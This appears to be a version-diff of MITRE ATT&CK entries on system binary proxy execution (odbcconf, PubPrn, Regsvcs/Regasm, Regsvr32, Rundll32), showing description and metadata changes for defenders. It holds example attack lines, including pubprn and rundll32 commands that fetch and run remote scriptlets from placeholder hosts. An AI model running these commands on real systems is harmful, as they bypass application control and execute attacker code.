| x_mitre_data_sources | | Network Traffic: Network Traffic Flow |
| x_mitre_platforms | | Network |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Network Traffic: Network Traffic Flow | |
[T1218.008] System Binary Proxy Execution: Odbcconf
Current version: 2.0
Version changed from: 1.0 → 2.0
|
|
|---|
| t | Adversaries may abuse odbcconf.exe to proxy execution of mal | t | Adversaries may abuse odbcconf.exe to proxy execution of mal |
| icious payloads. Odbcconf.exe is a Windows utility that allo | | icious payloads. Odbcconf.exe is a Windows utility that allo |
| ws you to configure Open Database Connectivity (ODBC) driver | | ws you to configure Open Database Connectivity (ODBC) driver |
| s and data source names.(Citation: Microsoft odbcconf.exe) O | | s and data source names.(Citation: Microsoft odbcconf.exe) T |
| dbcconf.exe is digitally signed by Microsoft. Adversaries m | | he Odbcconf.exe binary may be digitally signed by Microsoft. |
| ay abuse odbcconf.exe to bypass application control solution | | Adversaries may abuse odbcconf.exe to bypass application c |
| s that do not account for its potential abuse. Similar to [R | | ontrol solutions that do not account for its potential abuse |
| egsvr32](https://attack.mitre.org/techniques/T1218/010), odb | | . Similar to [Regsvr32](https://attack.mitre.org/techniques/ |
| cconf.exe has a <code>REGSVR</code> flag that can be misused | | T1218/010), odbcconf.exe has a <code>REGSVR</code> flag that |
| to execute DLLs (ex: <code>odbcconf.exe /S /A {REGSV | | can be misused to execute DLLs (ex: <code>odbcconf.exe /S / |
| R "C:\Users\Public\file.dll"}</code>). (Citation: LOL | | A {REGSVR "C:\Users\Public\file.dll"}</code>). |
| BAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Cita | | (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo |
| tion: TrendMicro Cobalt Group Nov 2017) | | Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-06-20 22:39:00.717000+00:00 | 2022-03-11 18:52:49.877000+00:00 |
| description | Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) Odbcconf.exe is digitally signed by Microsoft.
Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR "C:\Users\Public\file.dll"}). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017)
| Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.
Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR "C:\Users\Public\file.dll"}). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017)
|
| x_mitre_data_sources[1] | Module: Module Load | Command: Command Execution |
| x_mitre_data_sources[2] | Command: Command Execution | Module: Module Load |
| x_mitre_version | 1.0 | 2.0 |
[T1216.001] System Script Proxy Execution: PubPrn
Current version: 2.0
Version changed from: 1.1 → 2.0
|
|
|---|
| t | Adversaries may use PubPrn to proxy execution of malicious r | t | Adversaries may use PubPrn to proxy execution of malicious r |
| emote files. PubPrn.vbs is a [Visual Basic](https://attack.m | | emote files. PubPrn.vbs is a [Visual Basic](https://attack.m |
| itre.org/techniques/T1059/005) script that publishes a print | | itre.org/techniques/T1059/005) script that publishes a print |
| er to Active Directory Domain Services. The script is signed | | er to Active Directory Domain Services. The script may be si |
| by Microsoft and is commonly executed through the [Windows | | gned by Microsoft and is commonly executed through the [Wind |
| Command Shell](https://attack.mitre.org/techniques/T1059/003 | | ows Command Shell](https://attack.mitre.org/techniques/T1059 |
| ) via <code>Cscript.exe</code>. For example, the following c | | /003) via <code>Cscript.exe</code>. For example, the followi |
| ode publishes a printer within the specified domain: <code>c | | ng code publishes a printer within the specified domain: <co |
| script pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Co | | de>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,D |
| m</code>.(Citation: pubprn) Adversaries may abuse PubPrn to | | C=Com</code>.(Citation: pubprn) Adversaries may abuse PubPr |
| execute malicious payloads hosted on remote sites.(Citation | | n to execute malicious payloads hosted on remote sites.(Cita |
| : Enigma0x3 PubPrn Bypass) To do so, adversaries may set the | | tion: Enigma0x3 PubPrn Bypass) To do so, adversaries may set |
| second <code>script:</code> parameter to reference a script | | the second <code>script:</code> parameter to reference a sc |
| let file (.sct) hosted on a remote site. An example command | | riptlet file (.sct) hosted on a remote site. An example comm |
| is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/fo | | and is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.co |
| lder/file.sct</code>. This behavior may bypass signature val | | m/folder/file.sct</code>. This behavior may bypass signature |
| idation restrictions and application control solutions that | | validation restrictions and application control solutions t |
| do not account for abuse of this script. In later versions | | hat do not account for abuse of this script. In later versi |
| of Windows (10+), <code>PubPrn.vbs</code> has been updated t | | ons of Windows (10+), <code>PubPrn.vbs</code> has been updat |
| o prevent proxying execution from a remote site. This is don | | ed to prevent proxying execution from a remote site. This is |
| e by limiting the protocol specified in the second parameter | | done by limiting the protocol specified in the second param |
| to <code>LDAP://</code>, vice the <code>script:</code> moni | | eter to <code>LDAP://</code>, vice the <code>script:</code> |
| ker which could be used to reference remote code via HTTP(S) | | moniker which could be used to reference remote code via HTT |
| . | | P(S). |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-09-01 00:57:01.161000+00:00 | 2022-04-18 14:55:35.817000+00:00 |
| description | Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn)
Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.
In later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S). | Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.(Citation: pubprn)
Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.
In later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S). |
| x_mitre_version | 1.1 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Script: Script Execution |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Script: Script Execution | |
[T1218.009] System Binary Proxy Execution: Regsvcs/Regasm
Current version: 2.0
Version changed from: 1.0 → 2.0
|
|
|---|
| t | Adversaries may abuse Regsvcs and Regasm to proxy execution | t | Adversaries may abuse Regsvcs and Regasm to proxy execution |
| of code through a trusted Windows utility. Regsvcs and Regas | | of code through a trusted Windows utility. Regsvcs and Regas |
| m are Windows command-line utilities that are used to regist | | m are Windows command-line utilities that are used to regist |
| er .NET [Component Object Model](https://attack.mitre.org/te | | er .NET [Component Object Model](https://attack.mitre.org/te |
| chniques/T1559/001) (COM) assemblies. Both are digitally sig | | chniques/T1559/001) (COM) assemblies. Both are binaries that |
| ned by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN R | | may be digitally signed by Microsoft. (Citation: MSDN Regsv |
| egasm) Both utilities may be used to bypass application con | | cs) (Citation: MSDN Regasm) Both utilities may be used to b |
| trol through use of attributes within the binary to specify | | ypass application control through use of attributes within t |
| code that should be run before registration or unregistratio | | he binary to specify code that should be run before registra |
| n: <code>[ComRegisterFunction]</code> or <code>[ComUnregiste | | tion or unregistration: <code>[ComRegisterFunction]</code> o |
| rFunction]</code> respectively. The code with the registrati | | r <code>[ComUnregisterFunction]</code> respectively. The cod |
| on and unregistration attributes will be executed even if th | | e with the registration and unregistration attributes will b |
| e process is run under insufficient privileges and fails to | | e executed even if the process is run under insufficient pri |
| execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm) | | vileges and fails to execute. (Citation: LOLBAS Regsvcs)(Cit |
| | | ation: LOLBAS Regasm) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-06-20 22:36:37.411000+00:00 | 2022-03-11 18:55:48.725000+00:00 |
| description | Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)
Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm) | Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)
Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm) |
| x_mitre_version | 1.0 | 2.0 |
[T1218.010] System Binary Proxy Execution: Regsvr32
Current version: 2.0
Version changed from: 1.0 → 2.0
|
|
|---|
| t | Adversaries may abuse Regsvr32.exe to proxy execution of mal | t | Adversaries may abuse Regsvr32.exe to proxy execution of mal |
| icious code. Regsvr32.exe is a command-line program used to | | icious code. Regsvr32.exe is a command-line program used to |
| register and unregister object linking and embedding control | | register and unregister object linking and embedding control |
| s, including dynamic link libraries (DLLs), on Windows syste | | s, including dynamic link libraries (DLLs), on Windows syste |
| ms. Regsvr32.exe is also a Microsoft signed binary. (Citatio | | ms. The Regsvr32.exe binary may also be signed by Microsoft. |
| n: Microsoft Regsvr32) Malicious usage of Regsvr32.exe may | | (Citation: Microsoft Regsvr32) Malicious usage of Regsvr32 |
| avoid triggering security tools that may not monitor executi | | .exe may avoid triggering security tools that may not monito |
| on of, and modules loaded by, the regsvr32.exe process becau | | r execution of, and modules loaded by, the regsvr32.exe proc |
| se of allowlists or false positives from Windows using regsv | | ess because of allowlists or false positives from Windows us |
| r32.exe for normal operations. Regsvr32.exe can also be used | | ing regsvr32.exe for normal operations. Regsvr32.exe can als |
| to specifically bypass application control using functional | | o be used to specifically bypass application control using f |
| ity to load COM scriptlets to execute DLLs under user permis | | unctionality to load COM scriptlets to execute DLLs under us |
| sions. Since Regsvr32.exe is network and proxy aware, the sc | | er permissions. Since Regsvr32.exe is network and proxy awar |
| ripts can be loaded by passing a uniform resource locator (U | | e, the scripts can be loaded by passing a uniform resource l |
| RL) to file on an external Web server as an argument during | | ocator (URL) to file on an external Web server as an argumen |
| invocation. This method makes no changes to the Registry as | | t during invocation. This method makes no changes to the Reg |
| the COM object is not actually registered, only executed. (C | | istry as the COM object is not actually registered, only exe |
| itation: LOLBAS Regsvr32) This variation of the technique is | | cuted. (Citation: LOLBAS Regsvr32) This variation of the tec |
| often referred to as a "Squiblydoo" attack and has been use | | hnique is often referred to as a "Squiblydoo" and has been u |
| d in campaigns targeting governments. (Citation: Carbon Blac | | sed in campaigns targeting governments. (Citation: Carbon Bl |
| k Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting | | ack Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeti |
| Mongolian Gov) Regsvr32.exe can also be leveraged to regis | | ng Mongolian Gov) Regsvr32.exe can also be leveraged to reg |
| ter a COM Object used to establish persistence via [Componen | | ister a COM Object used to establish persistence via [Compon |
| t Object Model Hijacking](https://attack.mitre.org/technique | | ent Object Model Hijacking](https://attack.mitre.org/techniq |
| s/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016) | | ues/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-06-20 22:37:32.931000+00:00 | 2022-03-11 20:41:41.503000+00:00 |
| description | Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary. (Citation: Microsoft Regsvr32)
Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)
Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016) | Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. (Citation: Microsoft Regsvr32)
Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)
Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1546/015). (Citation: Carbon Black Squiblydoo Apr 2016) |
| x_mitre_data_sources[0] | Process: Process Creation | Command: Command Execution |
| x_mitre_data_sources[1] | Module: Module Load | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[2] | Command: Command Execution | Module: Module Load |
| x_mitre_data_sources[3] | Network Traffic: Network Connection Creation | Process: Process Creation |
| x_mitre_version | 1.0 | 2.0 |
[T1218.011] System Binary Proxy Execution: Rundll32
Current version: 2.0
Version changed from: 1.1 → 2.0
|
|
|---|
| t | Adversaries may abuse rundll32.exe to proxy execution of mal | t | Adversaries may abuse rundll32.exe to proxy execution of mal |
| icious code. Using rundll32.exe, vice executing directly (i. | | icious code. Using rundll32.exe, vice executing directly (i. |
| e. [Shared Modules](https://attack.mitre.org/techniques/T112 | | e. [Shared Modules](https://attack.mitre.org/techniques/T112 |
| 9)), may avoid triggering security tools that may not monito | | 9)), may avoid triggering security tools that may not monito |
| r execution of the rundll32.exe process because of allowlist | | r execution of the rundll32.exe process because of allowlist |
| s or false positives from normal operations. Rundll32.exe is | | s or false positives from normal operations. Rundll32.exe is |
| commonly associated with executing DLL payloads (ex: <code> | | commonly associated with executing DLL payloads (ex: <code> |
| rundll32.exe {DLLname, DLLfunction}</code>). Rundll32.exe c | | rundll32.exe {DLLname, DLLfunction}</code>). Rundll32.exe c |
| an also be used to execute [Control Panel](https://attack.mi | | an also be used to execute [Control Panel](https://attack.mi |
| tre.org/techniques/T1218/002) Item files (.cpl) through the | | tre.org/techniques/T1218/002) Item files (.cpl) through the |
| undocumented shell32.dll functions <code>Control_RunDLL</cod | | undocumented shell32.dll functions <code>Control_RunDLL</cod |
| e> and <code>Control_RunDLLAsUser</code>. Double-clicking a | | e> and <code>Control_RunDLLAsUser</code>. Double-clicking a |
| .cpl file also causes rundll32.exe to execute. (Citation: Tr | | .cpl file also causes rundll32.exe to execute. (Citation: Tr |
| end Micro CPL) Rundll32 can also be used to execute scripts | | end Micro CPL) Rundll32 can also be used to execute scripts |
| such as JavaScript. This can be done using a syntax similar | | such as JavaScript. This can be done using a syntax similar |
| to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLA | | to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLA |
| pplication ";document.write();GetObject("script:https[:]//ww | | pplication ";document.write();GetObject("script:https[:]//ww |
| w[.]example[.]com/malicious.sct")"</code> This behavior has | | w[.]example[.]com/malicious.sct")"</code> This behavior has |
| been seen used by malware such as Poweliks. (Citation: This | | been seen used by malware such as Poweliks. (Citation: This |
| is Security Command Line Confusion) Adversaries may also a | | is Security Command Line Confusion) Adversaries may also a |
| ttempt to obscure malicious code from analysis by abusing th | | ttempt to obscure malicious code from analysis by abusing th |
| e manner in which rundll32.exe loads DLL function names. As | | e manner in which rundll32.exe loads DLL function names. As |
| part of Windows compatibility support for various character | | part of Windows compatibility support for various character |
| sets, rundll32.exe will first check for wide/Unicode then AN | | sets, rundll32.exe will first check for wide/Unicode then AN |
| SI character-supported functions before loading the specifie | | SI character-supported functions before loading the specifie |
| d function (e.g., given the command <code>rundll32.exe Examp | | d function (e.g., given the command <code>rundll32.exe Examp |
| leDLL.dll, ExampleFunction</code>, rundll32.exe would first | | leDLL.dll, ExampleFunction</code>, rundll32.exe would first |
| attempt to execute <code>ExampleFunctionW</code>, or failing | | attempt to execute <code>ExampleFunctionW</code>, or failing |
| that <code>ExampleFunctionA</code>, before loading <code>Ex | | that <code>ExampleFunctionA</code>, before loading <code>Ex |
| ampleFunction</code>). Adversaries may therefore obscure mal | | ampleFunction</code>). Adversaries may therefore obscure mal |
| icious code by creating multiple identical exported function | | icious code by creating multiple identical exported function |
| names and appending <code>W</code> and/or <code>A</code> to | | names and appending <code>W</code> and/or <code>A</code> to |
| harmless ones.(Citation: Attackify Rundll32.exe Obscurity)( | | harmless ones.(Citation: Attackify Rundll32.exe Obscurity)( |
| Citation: Github NoRunDll) | | Citation: Github NoRunDll) DLL functions can also be exporte |
| | | d and executed by an ordinal number (ex: <code>rundll32.exe |
| | | file.dll,#1</code>). Additionally, adversaries may use [Mas |
| | | querading](https://attack.mitre.org/techniques/T1036) techni |
| | | ques (such as changing DLL file names, file extensions, or f |
| | | unction names) to further conceal execution of a malicious p |
| | | ayload.(Citation: rundll32.exe defense evasion) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-14 21:45:53.057000+00:00 | 2022-04-19 18:12:39.357000+00:00 |
| description | Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).
Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)
Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)
Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) | Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}).
Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)
Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)
Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).
Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) |
| external_references[1]['source_name'] | Trend Micro CPL | rundll32.exe defense evasion |
| external_references[1]['description'] | Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017. | Ariel silver. (2022, February 1). Defense Evasion Techniques. Retrieved April 8, 2022. |
| external_references[1]['url'] | https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf | https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/ |
| external_references[2]['source_name'] | This is Security Command Line Confusion | Attackify Rundll32.exe Obscurity |
| external_references[2]['description'] | B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. Retrieved March 5, 2018. | Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021. |
| external_references[2]['url'] | https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/ | https://www.attackify.com/blog/rundll32_execution_order/ |
| external_references[3]['source_name'] | Attackify Rundll32.exe Obscurity | This is Security Command Line Confusion |
| external_references[3]['description'] | Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021. | B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. Retrieved March 5, 2018. |
| external_references[3]['url'] | https://www.attackify.com/blog/rundll32_execution_order/ | https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/ |
| x_mitre_data_sources[0] | File: File Metadata | Command: Command Execution |
| x_mitre_data_sources[1] | Process: Process Creation | Module: Module Load |
| x_mitre_data_sources[2] | Command: Command Execution | File: File Metadata |
| x_mitre_data_sources[3] | Module: Module Load | Process: Process Creation |
| x_mitre_version | 1.1 | 2.0 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Trend Micro CPL', 'description': 'Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.', 'url': 'https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf'} |
| x_mitre_contributors | | James_inthe_box, Me |
[T1218] System Binary Proxy Execution
Current version: 3.0
Version changed from: 2.1 → 3.0
|
|
|---|
| t | Adversaries may bypass process and/or signature-based defens | t | Adversaries may bypass process and/or signature-based defens |
| es by proxying execution of malicious content with signed bi | | es by proxying execution of malicious content with signed, o |
| naries. Binaries signed with trusted digital certificates ca | | r otherwise trusted, binaries. Binaries used in this techniq |
| n execute on Windows systems protected by digital signature | | ue are often Microsoft-signed files, indicating that they ha |
| validation. Several Microsoft signed binaries that are defau | | ve been either downloaded from Microsoft or are already nati |
| lt on Windows installations can be used to proxy execution o | | ve in the operating system.(Citation: LOLBAS Project) Binari |
| f other files. | | es signed with trusted digital certificates can typically ex |
| | | ecute on Windows systems protected by digital signature vali |
| | | dation. Several Microsoft signed binaries that are default o |
| | | n Windows installations can be used to proxy execution of ot |
| | | her files or commands. Similarly, on Linux systems adversar |
| | | ies may abuse trusted binaries such as <code>split</code> to |
| | | proxy execution of malicious commands.(Citation: split man |
| | | page)(Citation: GTFO split) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User', 'Administrator'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-16 00:13:19.412000+00:00 | 2022-04-18 14:52:08.678000+00:00 |
| name | Signed Binary Proxy Execution | System Binary Proxy Execution |
| description | Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed binaries. Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files. | Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.
Similarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split) |
| x_mitre_data_sources[0] | Process: Process Creation | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[1] | File: File Creation | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[2] | Module: Module Load | Process: OS API Execution |
| x_mitre_data_sources[3] | Process: OS API Execution | Module: Module Load |
| x_mitre_data_sources[5] | Windows Registry: Windows Registry Key Modification | File: File Creation |
